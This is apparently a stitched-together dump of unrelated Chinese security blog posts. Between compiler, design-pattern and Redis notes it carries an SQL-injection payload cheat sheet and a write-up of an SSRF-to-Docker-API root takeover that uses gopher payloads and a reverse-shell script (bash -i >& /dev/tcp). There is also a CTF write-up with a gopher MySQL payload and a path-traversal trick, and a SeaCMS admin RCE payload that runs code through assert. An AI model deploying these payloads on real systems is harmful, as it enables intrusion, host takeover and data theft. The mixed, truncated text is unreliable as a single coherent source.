XOR注入

• 基本payload

  1 2 3

  admin^(ascii(mid((password)from(i)))>j)^'1'='1'%23 或者 admin^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23

  ascii函数默认取字符串中第一个字符的ascii码作为输出

• 使用场景

  • 过滤了关键字:and or
  • 过滤了逗号
  • 过滤了空格

regexp注入

• 基本payload

  1	select (select xxxx) regexp '正则'

• 使用场景

  • 过滤了=，in,like

order by 盲注

• 基本payload

  1	select * from users where user_id='1' union select 1,2,'a',4,5,6,7 order by 3

• 使用场景

  • 过滤了列名
  • 过滤了括号
  • 适用于已知该表的列名以及列名位置的注入

join注入

• payload:

  1 2 3 4 5 6 7 8 9 10 11

  1' union select * from(select 1)a join (select 2)b %23 union all select * from( (select 1)a join( select F.[需要查询的字段号] from( select * from [需要查询的表有多少个字段就join多少个] union select * from [需要查询的表] [limit子句] )F-- 我们创建的虚拟表没有表名，因此定义一个别名，然后直接[别名].[字段号]查询数据 )b-- 同上[还差多少字段就再join多少个，以满足字段数相同的原则] )

• 使用场景：

  • 过滤了逗号、字段名

Other tips

• 一次性爆所有表名和字段名：

  1	(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)

第一课 绪论

编译器在语言处理系统中的位置

编译器的结构

1
2
3
4
5
6
7
8
9
10

graph TD;
	字符流-->词法分析器;
	词法分析器-->|词法单元流|语法分析器;
	语法分析器-->|语法树|语义分析器;
	语义分析器-->|语法树|中间代码生成器;
	中间代码生成器-->|中间表示形式|机器无关代码优化器;
	机器无关代码优化器-->|中间表示形式|目标代码生成器;
	目标代码生成器-->|目标机器语言|机器相关代码优化器;
	机器相关代码优化器-->目标机器语言;

词法分析/扫描(Scanning)

• 主要任务

  从左向右逐行扫描源程序的字符，识别各个单词并确定类型，表示为词法单元(token)格式;

语法分析(parsing)

• 从词法分析器的token序列中识别短语，构造语法分析树(parse tree)

语义分析

• 主要任务：
  • 收集标识符的属性信息
    • 种属
      • 简单变量、符合变量（数组、记录、…)、过程
    • 类型
    • 存储位置、长度
    • 值
    • 作用域
    • 参数与返回值信息
  • 语义检查

中间代码生成

• 常用的中间表示形式
  • 三地址码
    • 类似汇编
    • 每个指令最多三个操作数
  • 语法结构树/语法树(Syntax Trees)

目标代码生成器

• 以源程序的中间表示形式作为输入并映射到目标语言
• 重要任务：分配合理的寄存器

代码优化

• 等价程序变换以优化时空效率title: start=>start: 源程序 preprocessor=>operation: 预处理器(preprocessor) compiler=>operation: 编译器(compiler) assembler=>operation: 汇编器(assembler) linker_and_loader=>operation: 链接器(Linker)/加载器(Loader) end=>end: 目标机器代码 start->preprocessor preprocessor->compiler compiler->assembler assembler->linker_and_loader linker_and_loader->end{"scale":1,"line-width":2,"line-length":50,"text-margin":10,"font-size":12}

设计模式的六大原则

开闭原则(Open Close Principle)

开闭原则的意思是：对扩展开放，对修改关闭

• 程序需要拓展时不能修改原有代码
• 使用接口和抽象类

里氏代换原则(Liskov Substitution Principle)

任何基类可以出现的地方子类一定可以出现(派生类可以完全替换掉基类且软件单位的功能不受影响)

依赖倒转原则(Dependence Inversion Principle)

这个原则是开闭原则的基础。

• 针对接口编程
• 依赖于抽象而不依赖于具体

接口隔离原则(Interface Segregation Principle)

• 使用多个隔离的接口比使用单个接口好
• 降低类之间的耦合度

迪米特法则，又称最少知道原则(Demeter Principle)

一个实体应当尽少地与其他实体之间发生相互作用，使得系统功能模块相互独立

合成复用原则(Composite Reuse Principle)

尽量使用合成/聚合的方式而不是使用继承

首发于freebuf http://www.freebuf.com/articles/web/179910.html

这几天在做关于自动化部署docker镜像方面的项目，从而接触到了docker的api，而docker的api也可以通过tcp连接的形式来进行访问。那么从一个安全爱好者的角度出发，是否可以利用docker的远程api来实现提权等一系列的操作？查找了各种资料之后，最后我探索到了一条通过SSRF漏洞来攻击docker远程api从而最终还能够获得远程主机的root权限的攻击思路，并写了这篇文章来记录一下整个过程及其防范的方法。

什么是docker远程api？

Docker Remote API是docker团队为了方便我们远程管理docker而为我们提供的一套api接口。在默认的情况下，docker daemon坚挺在unix socket上，通常为unix:///var/run/docker.sock。此外，在一些情况比如当我们需要远程管理docker服务器或者是创建docker集群的情况下，我们往往需要开启docker的远程api。这里给出在ubuntu上的一种开启方法：

• 编辑/lib/systemd/system/docker.service文件，修改ExecStart一行为：

1
2
3
4
5
6
7
8

[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576

• 之后再重启docker

1

sudo service docker restart

我们便可以利用docker client或者任意http客户端访问docker服务，例如

可以看到docker提供的api其实也是一个restful形式的http接口，具体的文档可以再docker的官网获取：Engine API V1.24

这里列出几个重要的接口：

• 列出所有的容器

1

$ curl http:/localhost:4243/v1.24/containers/json

• 列出所有镜像

1
2
3
4
5

$ curl http:/localhost:4243/v1.24/images/json[{
  "Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
  "ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
  ...
}]

• 创建并运行容器

1
2
3
4
5
6
7
8
9
10
11
12

$ curl  -H "Content-Type: application/json" \
  -d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}' \
  -X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}

$ curl   -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start

http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}

$ curl  "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world

可以看到如果开放了docker远程api，我们便可以使用restful接口来实现一切docker容器的操作。

怎样利用docker容器提权？

有些朋友可能会问了：docker容器内部是一个虚拟化的环境，与主机隔离，那么怎样才能利用docker容器达到主机的控制权？这里就涉及到docker运行时的用户权限了。docker daemon运行时是以root用户运行，因而具有极大的权限：

1
2
3

$ ps aux|grep dockerd
root      1723  0.1  0.8 563472 68900 ?        Ssl  17:17   0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image    25504  0.0  0.0  15984   936 pts/3    S+   21:12   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd

那么怎样通过docker daemon最终获得服务器的root权限？这里我们可以利用docker挂载宿主机文件的功能，直接挂载高权限目录，从而在容器内部获取宿主机的控制权限。这里有一个黑魔法：

1

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

运行后的输出如下：我们退出docker,查看宿主机/root/目录：可以看到我们成功写入了/root文件夹一个文件。上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease主要的作用是：从 Docker Hub 上面下载我们指定的镜像，然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS，并且使用 -i 和 -t 参数进入容器的 shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh，主要内容便是chroot到/hostOS中。这样我们便通过读写宿主机的任意文件实现了获取宿主机的最高权限。这个镜像的源码可以在Github上获取。

怎样通过SSRF完成攻击？

这里我们的服务器端环境如下:

这里我们来看在php中经常出现的导致SSRF漏洞的代码实现：

1
2
3
4
5
6
7
8

<?php
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$data=curl_exec($curl);
curl_close($curl);
print_r($data);

php中通常使用libcurl来实现http请求，这里可以看到$_GET['url']可控，从而可以请求任意站点，从而构成了SSRF漏洞。但是有的读者有可能会问：docker的api有很大一部分是需要post的，那么怎样才能发送post封包？这里便祭出我们的大杀器——gopher协议。Gopher 协议是 HTTP 协议出现之前，在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情，特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache，也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 这里Ricterz师傅曾经写过一篇很好的关于gopher协议扩展ssrf攻击面的文章。因此我们便可以通过gopher协议来访问内网开放的docker api从而实现攻击。我们可以先尝试获取所有的镜像：

1
2

root@1ae6b62d1757:/var/www/html# curl localhost/curl.php?url=http://172.17.0.1:4243/containers/json
[{"Id":"fa169d6b4239882bb6a0a2d564fd9891c04cf199ac12daec514f69febf960e9b","Names":["/quirky_mcnulty"],"Image":"chrisfosterelli/rootplease","ImageID":"sha256:0db941813769383d7ed3bdcccd27af1b6d7b47ed0fb33f1b47f7bb937529fa3e","Command":"/bin/bash exploit.sh","Created":1533475418,"Ports":[],"Labels":{},"State":"running","Status":"Up 17 minutes","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"9a8a2dd6afbbc355194a5fd224757ac8fe11760dbfde91c07c46689146e15089","EndpointID":"a079ba4ac68eafb5add6b56822dd13a288ca059a815e7a011e82bdcb8fd8542b","Gateway":"172.17.0.1","IPAddress":"172.17.0.4","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:04","DriverOpts":null}}},"Mounts":[{"Type":"bind","Source":"/","Destination":"/hostOS","Mode":"","RW":true,"Propagation":"rslave"}]},]

我们可以先构造一个特殊的docker镜像，并将之上传到DockerHub

1
2
3

FROM ubuntu:14.04
COPY exploit.sh /exploit.sh
ENTRYPOINT ["/bin/bash", "exploit.sh"]

这里我们的exploit.sh的写法：

1
2

#!/bin/bash
bash -i >& /dev/tcp/$1/$2 0>&1

这里的docker镜像已经上传到了dockerhub。

之后我们可以先构造合适的post封包：

1
2
3
4
5
6

POST /v1.24/images/create?fromImage=imagemlt/reverse_shell HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 0
Content-Type: text/plain
X-Registry-Auth: e30=

这个post封包的目标是让远程主机从dockerhub下载我们需要的镜像。构造为gopher格式为：

1

gopher://172.17.0.1:4243/_POST%20/v1.24/images/create%3FfromImage%3Dimagemlt/reverse_shell%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%200%0AContent-Type%3A%20text/plain%0A X-Registry-Auth:%20e30%3D%0A%0A

通过ssrf的点触发即可在远程服务器下载我们的镜像。

之后再创建容器

1
2
3
4
5
6
7

POST /v1.24/containers/create HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 99
Content-Type: application/json

{"Cmd":["your ip","3456"],"Image":"imagemlt/reverse_shell","HostConfig":{"Binds":["/:/hostOS"]}}

将封包包装为gopher的形式：

1

gopher://172.17.0.1:4243/_POST%20/v1.24/containers/create%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%2099%0AContent-Type%3A%20application/json%0A%0A%7B%22Cmd%22%3A%5B%22your ip%22%2C%223456%22%5D%2C%22Image%22%3A%22imagemlt/reverse_shell%22%2C%22HostConfig%22%3A%7B%22Binds%22%3A%5B%22/%3A/hostOS%22%5D%7D%7D%0A%0d%0a

这里我们再最后多加了一些%0d%0a从而让连接能够断开。然后利用之前的ssrf的地方请求这个url，可以获得创建的容器id：

获取id后我们再post相应的使容器运行的封包：

1
2
3
4
5

POST /v1.24/containers/5a42a09f7bb889f53943015346682388d40a151ec5bad30024282eee11811380/start HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 0
Content-Type: application/json

我们的服务器端nc端口3456，构造gopher格式的url候再次发送封包：

可以看到服务器端成功返回shell，且已成功挂载宿主机根目录到/hostOS下。

这样我们便通过ssrf与docker未授权api完成了一次攻击，并且获取了宿主机的root权限！

除了反弹shell的方法，我们也可以借助写crontab的方法来获得最后的shell，这里便不再赘述。

如何防范？

在不必需的情况下，不要启用docker的remote api服务，如果必须使用的话，可以采用如下的加固方式：

• 设置ACL，仅允许信任的来源IP连接；

• 设置TLS认证，官方的文档为Protect the Docker daemon socket

客户端与服务器端通讯的证书生成后，可以通过以下命令启动docker daemon：

1

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

客户端连接时需要设置以下环境变量

1
2
3
4

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

这样便可以避免未授权的docker api被远程利用。

总结

未授权的docker remote api具有极大的风险，当结合ssrf漏洞时可以作为渗透测试扩展供给面的工具，最后获得root shell.因此我们做开发时应该严格防范。最后总结一下我们的攻击思路：

参考资料

• https://sec.xiaomi.com/article/22
• http://dockone.io/article/401
• https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2

dict.h中的结构体

• dictEntry结构体

1
2
3
4
5
6
7
8
9
10
11
12
13

typedef struct dictEntry {
    // 关键字key定义
    void *key;  
    // 值value定义，这里采用了联合体，根据union的特点，联合体只能存放一个被选中的成员
    union {
        void *val;      // 自定义类型
        uint64_t u64;   // 无符号整形
        int64_t s64;    // 有符号整形
        double d;       // 浮点型
    } v;
    // 指向下一个键值对节点
    struct dictEntry *next;
} dictEntry;

• dictType结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

/* 定义了字典操作的公共方法，类似于adlist.h文件中list的定义，将对节点的公共操作方法统一定义。搞不明白为什么要命名为dictType */
typedef struct dictType {
    /* hash方法，根据关键字计算哈希值 */
    unsigned int (*hashFunction)(const void *key);
    /* 复制key */
    void *(*keyDup)(void *privdata, const void *key);
    /* 复制value */
    void *(*valDup)(void *privdata, const void *obj);
    /* 关键字比较方法 */
    int (*keyCompare)(void *privdata, const void *key1, const void *key2);
    /* 销毁key */
    void (*keyDestructor)(void *privdata, void *key);
    /* 销毁value */
    void (*valDestructor)(void *privdata, void *obj);
} dictType;

• dictht结构体

1
2
3
4
5
6
7
8
9
10
11
12
13

/* This is our hash table structure. Every dictionary has two of this as we
 * implement incremental rehashing, for the old to the new table. */
/* 哈希表结构 */
typedef struct dictht {
    // 散列数组。哈希表内部是基于数组，数组的元素是dictEntry *类型，所以这里是指针数组。
    dictEntry **table;
    // 散列数组的长度
    unsigned long size;
    // sizemask等于size减1
    unsigned long sizemask;
    // 散列数组中已经被使用的节点数量
    unsigned long used;
} dictht;

• dict结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

/* 字典的主操作类，对dictht结构再次包装  */
typedef struct dict {
    // 字典类型
    dictType *type;
    // 私有数据指针
    void *privdata;
    // 一个字典中有两个哈希表，后面的分析中，我们将ht[0]称作就表，ht[1]称作新表
    /*  dict的rehash。通常情况下，所有的数据都是存在放dict的ht[0]中，ht[1]只在rehash的时候使用。
        dict进行rehash操作的时候，将ht[0]中的所有数据rehash到ht[1]中。然后将ht[1]赋值给ht[0]，
        并清空ht[1]。rehash操作我们会在后面详细看到。
    */
    dictht ht[2];
    // 数据动态迁移的位置，如果rehashidx == -1说明当前没有执行rehash操作
    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
    // 当前正在使用的迭代器的数量
    int iterators; /* number of iterators currently running */
} dict;

四个结构体之间的关系：

散列函数

• Thomas Wang’s 32 bit Mix dictIntHashFunction,对整形取hash
• MurmurHash2 by Austin Appleby dictGenHashFunction，对key值与指定长度取hash
• case insensitive hash function (based on djb hash) dictGenCaseHashFunction 对字符串进行hash

Rehash操作

• n步渐进式rehash操作，这是redis的一个亮点，能够将一次rehash分摊到多次数据请求中
  • _dictRehashStep,每调用一次Rehash一个bucket
  • dictRehashMilliseconds 在一定时间内rehash多个bucket
  • 上面两个函数都调用了dictRehash方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

/* Performs N steps of incremental rehashing. Returns 1 if there are still
 * keys to move from the old to the new hash table, otherwise 0 is returned.
 * Note that a rehashing step consists in moving a bucket (that may have more
 * than one key as we use chaining) from the old to the new hash table. */
/* 执行n步渐进式的rehash操作，如果还有key需要从旧表迁移到新表则返回1，否则返回0 */
int dictRehash(dict *d, int n) {
    if (!dictIsRehashing(d)) return 0;

    // n步渐进式的rehash操作就是每次只迁移哈希数组中的n个bucket
    while(n--) {
        dictEntry *de, *nextde;

        /* Check if we already rehashed the whole table... */
        // 检查是否对整个哈希表进行了rehash操作
        if (d->ht[0].used == 0) {
            zfree(d->ht[0].table);
            d->ht[0] = d->ht[1];
            _dictReset(&d->ht[1]);
            d->rehashidx = -1;
            return 0;
        }

        /* Note that rehashidx can't overflow as we are sure there are more
         * elements because ht[0].used != 0 */
        // rehashidx标记的是当前rehash操作进行到了ht[0]旧表的那个位置（下标），因此需要判断它是否操作ht[0]的长度
        assert(d->ht[0].size > (unsigned long)d->rehashidx);
        // 跳过ht[0]中前面为空的位置
        while(d->ht[0].table[d->rehashidx] == NULL) d->rehashidx++;
        de = d->ht[0].table[d->rehashidx];
        /* Move all the keys in this bucket from the old to the new hash HT */
        // 下面的操作将每个节点（键值对）从ht[0]迁移到ht[1],此过程需要重新计算每个节点key的哈希值
        while(de) {
            unsigned int h;

            nextde = de->next;
            /* Get the index in the new hash table */
            h = dictHashKey(d, de->key) & d->ht[1].sizemask;
            de->next = d->ht[1].table[h];
            d->ht[1].table[h] = de;
            d->ht[0].used--;
            d->ht[1].used++;
            de = nextde;
        }
        d->ht[0].table[d->rehashidx] = NULL;
        d->rehashidx++;
    }
    return 1;
}

首发于安全客 https://www.anquanke.com/post/id/153258

28号的时候师傅们都在打real world ctf，看了一下real world ctf实在玩不动。。。于是就去玩了玩这个越南的ctf比赛的web部分的题目。整体而言这个比赛的web部分的题目偏中等难度，还是比较适合新手的一次练手，部分题目也有一定的新意。这里给出部分题目的writeup。

IZ

题目地址

打开题目可以获得题目源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

 <?php

include “config.php”;
$number1 = rand(1,100000000000000);
$number2 = rand(1,100000000000);
$number3 = rand(1,100000000);
$url = urldecode($_SERVER[‘REQUEST_URI’]);
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match(“/_/i”, $url))
{
die(“…”);
}
if (preg_match(“/0/i”, $url))
{
die(“…”);
}
if (preg_match(“/w+/i”, $url))
{
die(“…”);
}
if(isset($GET[‘‘]) && !empty($GET[‘‘]))
{
$control = $GET[‘‘];
if(!in_array($control, array(0,$number1)))
{
die(“fail1”);
}
if(!in_array($control, array(0,$number2)))
{
die(“fail2”);
}
if(!in_array($control, array(0,$number3)))
{
die(“fail3”);
}
echo $flag;
}
show_source(__FILE__);
?>

可以看到题目的逻辑主要是获取query_string后用parse_url处理，处理后的$url再进行过滤，可以看到这里的过滤非常严所以想要绕过过滤还是有一定难度的。

然而parse_url函数存在一个bug:

当url的格式为http:/localhost///x.php?key=value的方式可以使其返回False

这样就可以成功绕过之后的三次preg_match的过滤.

绕过三次preg_match的过滤后程序又进行了三次in_array()判断，而三次in_array()的数组都存在0这样一个元素。而由php弱类型的特性，in_array()在判断时使用的是弱比较，当比较一个字符串和一个数字时默认会尝试把字符串转换为数字，如果字符串的第一个字符不是数字的话则该字符串会被转化成0.具体的转化规则可以参考php.net中的描述。

因此最终的payload为：

///?_=a

访问即可获取flag。

Friss

题目地址

题目进去后是一个表单页面：

可以判断这个题目应该是要考ssrf相关的东西。于是首先测试file协议看能不能读到文件，输入file:///etc/passwd，结果题目返回：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
include_once “config.php”;
if (isset($_POST[‘url’])&&!empty($_POST[‘url’]))
{
    $url = $_POST[‘url’];
    $content_url = getUrlContent($url);
}
else
{
    $content_url = “”;
}
if(isset($_GET[‘debug’]))
{
    show_source(FILE);
}
?>

file://localhost/var/www/html/config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

<?php

$hosts = “localhost”;
$dbusername = “ssrf_user”;
$dbpasswd = “”;
$dbname = “ssrf”;
$dbport = 3306;

$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);

function initdb($conn)
{
$dbinit = “create table if not exists flag(secret varchar(100));”;
if(mysqli_query($conn,$dbinit)) return 1;
else return 0;
}

function safe($url)
{
$tmpurl = parse_url($url, PHP_URL_HOST);
if($tmpurl != “localhost” and $tmpurl != “127.0.0.1”)
{
var_dump($tmpurl);
die(“<h1>Only access to localhost</h1>”);
}
return $url;
}

function getUrlContent($url){
$url = safe($url);
$url = escapeshellarg($url);
$pl = “curl “.$url;
echo $pl;
$content = shell_exec($pl);
return $content;
}
initdb($conn);
?>

可以看到在config.php中告诉我们flag在数据库中且给出了我们一个空密码的mysql账户。因此我们便可以联想到34c3ctf中的一道使用gopher协议攻击mysql的题目。

这里gopher协议的主要功能是可以直接发起socket连接获取数据，而且由于mysql这里给出的密码是空密码，因此可以通过gopher发起sql请求来获取数据。

因此我们可以在本地用mysql搭建同样的环境，使用mysql客户端进行一次连接并获取执行读取flag的操作，用wireshark抓包后将抓取到的数据urlencode之后构造成符合gopher结构的payload即可获取到最后的flag。

首先我们创建相同的用户和同样的表结构：然后给该用户此数据库的权限后使用该用户登入，获取该数据库内的flag信息，同时使用wireshark抓取lo上的包:

wireshark中我们设置只显示客户端发送的数据包，以原始数据的形式显示
将数据复制下来转换成urlencode的形式，构造gopher的链接为：

gopher://127.0.0.1:3306/_%A8%00%00%01%85%A6%FF%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf_user%00%00mysql_native_password%00f%03_os%05Linux%0C_client_name%08libmysql%04_pid%0519500%0F_client_version%065.7.22%09_platform%06x86_64%0Cprogram_name%05mysql%21%00%00%00%03select%20%40%40version_comment%20limit%201%12%00%00%00%03SELECT%20DATABASE%28%29%05%00%00%00%02ssrf%0F%00%00%00%03show%20databases%0C%00%00%00%03show%20tables%06%00%00%00%04flag%00%13%00%00%00%03select%20%2A%20from%20flag%01%00%00%00%01

最后可以在回显中获取flag

NNService

题目地址

先扫描查看是否存在源码泄露，发现存在robots.txt,提示存在源码bk/bk.zip,访问即可获取题目的源码。

这里我们主要分析题目最后导致getflag的两个点，在index.controller.php中,首先分析更改个人信息的位置上传头像的点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

if($_FILES[‘avatar’] and $_FILES[“avatar”][“error”] == 0){
     if((($_FILES[“avatar”][“type”] == “image/gif”) or ($_FILES[“avatar”][“type”] == “image/jpeg”) or ($_FILES[“avatar”][“type”] == “image/png”)) and $_FILES[‘avatar’][‘size’]<65535){
         $info=getimagesize($_FILES[‘avatar’][‘tmp_name’]);
         if(@is_array($info) and array_key_exists(‘mime’,$info)){
             $type=explode(‘/‘,$info[‘mime’])[1];
             $filepath=$this->user->getuser().”.”.$type;
             $filename=”uploads/“.$filepath;
             if(is_uploaded_file($_FILES[‘avatar’][‘tmp_name’])){
                 $this->user->edit(“avatar”,array($filepath,$type));
                 if(strpos($filepath,”..”) !== false)
                 {
                     die(“Hacker, cut please!”);
                 }
                 else if(move_uploaded_file($_FILES[‘avatar’][‘tmp_name’], $filename)){
                     quit_and_refresh(‘Upload success!’,’edit’);
                 }
                 quit_and_refresh(‘Success!’,’edit’);
             }
         }else {
             //TODO！report it！
             quit(‘Only allow gif/jpeg/png files smaller than 64kb!’);
         }
     }
     else{
         //TODO！report it！
         quit(‘Only allow gif/jpeg/png files smaller than 64kb!’);
     }
 }

分析代码流程，首先判断图片的mime类型，然后使用getimagesize获取图片的信息，之后从getimagesize获取到的图片信息中获取图片的后缀名，之后可以看到$filepath=$this->user->getuser().”.”.$type;，将用户名与图片名称拼接为图片上传路径，后调用$this->user->edit(“avatar”,array($filepath,$type));,跟到user.class.php文件中可以发现这一步的操作实质是将文件名写入了数据库中。之后使用强等于判断文件名中是否含有..，如果含有..则终止整个流程，否则将移动上传的图片到upload文件夹下，命名为用户名.文件类型;

然后我们再分析export处的源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

public function export(){
        $avatar=$this->user->getavatar();
        if(substr($avatar,0,5)!==”data:”){
            $fileavatar=substr($this->user->getavatar(),1);
            $avatar = “uploads/“.$fileavatar;

    if(file_exists($avatar) and filesize($avatar)<65535 and strpos($fileavatar,"..")==false){
        $data=file_get_contents($avatar);
        if(!$this->user->updateavatar($data)) quit('Something error!');
    }
    else{
        //TODO！report it！
        $out="Your avatar is invalid, so we reported it"."</p>";
        include("templates/error.html");
        die("<br>");
    }
}
$article=$this->user->getarticle();
$data="";
for($i=0;$i<count($article);$i++){
    if($i!=count($article)-1){
        $data.=$article[$i][2]."rn";
        $data.=$article[$i][3]."n";
        $data.="----------n";
    }
    else{
        $data.=$article[$i][2]."rn";
        $data.=$article[$i][3]."n";
    }
}
$data.="==========n";
$avatar=$this->user->getavatar(1);
$data.=base64_encode($avatar[1])."n";
$data.=$avatar[3];
header("Content-type: application/octet-stream");
header("Content-Transfer-Encoding: binary");
header("Accept-Ranges: bytes");
header("Content-Length: ".strlen($data));
header("Content-Disposition: attachment; filename="".$this->user->getuser().""");
echo $data;

}

可以看到export处的代码在进行导出时，首先调用$avatar=$this->user->getavatar();获取头像的信息，我们跟到user.class.php中可以发现这一步操作便是将我们之前写入数据库的文件名取出。然后这里的代码对文件进行判断，判断文件是否存在，文件大小是否小于65535，以及使用弱等于判断文件名中是否含有..。之后便获取文件内容并base64加密后拼接上之前的一些信息输出文件。

这里我们可以看到主要的漏洞点在于写入数据库的操作在判断文件名是否包含..之前，因此我们即使文件名中包含了..最后不合法的文件名也会被写入数据库。而在之后export处读取到文件名后使用的是弱等于判断：

strpos($fileavatar,”..”)==false

然而当我们构造类似../flag.php的字符串时，strpos返回..出现的位置0，而0==false成立。因此我们便可以成功实现目录穿越。

但是这里还有一点：我们的文件名的生成方式是用户名.文件类型,文件类型由getimagesize()函数获得，因此只能是图片文件的后缀名，那么怎样才能截断这个后缀名从而成功获取flag.php的源码？

这里我们查看之前下载到的源码中的sql文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

CREATE TABLE IF NOT EXISTS users (
  id int(32) primary key auto_increment,
  username varchar(100) UNIQUE KEY,
  nickname varchar(100) UNIQUE KEY,
  password varchar(32),
  email varchar(100) UNIQUE KEY
);

CREATE TABLE IF NOT EXISTS articles (
id int(32) primary key auto_increment,
user_id int(32),
title varchar(100),
content varchar(500)
);

CREATE TABLE IF NOT EXISTS avatar (
id int(32) primary key auto_increment,
data blob,
user_id int(32) UNIQUE KEY,
filepath varchar(100),
photo_type varchar(20)
);

可以看到这里的sql文件中限制了图片路径filepath字段的长度最多为100，用户名username的长度也最多为100。这里便可以联想到mysql的一个性质：当mysql开启宽松模式时，在INSERT的时候，如果你插入的字符超出了MySQL的字段长度，MySQL会自动截断到最大长度然后插入，并不会出错。，具体可以参考这篇文章：http://www.91ri.org/5963.html

因此我们如果注册长度为100的用户名，在将文件名写入数据库时，用户名之后拼接的后缀便会被截断从而无法进入数据库，因此便实现了我们对文件的控制。

最后解题的方法为：

• 注册用户名：..//////////////////////////////////////////////////////////////////////////////////////////flag.php
  


• edit处随意上传一张图片


• export处导出数据，便可获得flag。

总结

这场比赛整体难度适中，比较适合新手用于提高自己的水平。此外比赛源码已经上传到https://github.com/susers/Writeups上，欢迎大家star与pull request！

参考资料

• http://php.net/manual/zh/language.operators.comparison.php


• http://www.freebuf.com/articles/web/159342.html


• https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2


• http://www.91ri.org/5963.html

backend RCE in the latest version of SeaCMS(v6.61)

In SeaCMS’s admin platform, just in the page of publishing movies,due to the low limitation of the code injected in the picture’s url,we can execute random code to getshell.though there are some way’s in the /include/main.class to limit the usage of the code,we can find ways to bypass it.
So How does this vul be triggerd? here are some Steps:

• Firstly login to the admin panel, in this case the admin directory is adjusted to /backend.
  
• Secondly add a movie and set it’s pictrue address as {if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}
  
• After adding it visit /details/index.php?1.html&m=admin&a=assert&b=phpinfo();you can find phpinfo() is executed.
  here 1.html refers to the id of the video you have just added.In my case, the video’s id is 2 so I executed as 2.html.
  
• Or you can just visit /search.php?searchtype=5&tid=0&a=assert&b=phpinfo();or any other places that display the video’s pic you have just added.

Also in the adding movie page it has no csrf protection so we can use CSRF to attacked it.
csrf poc is here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
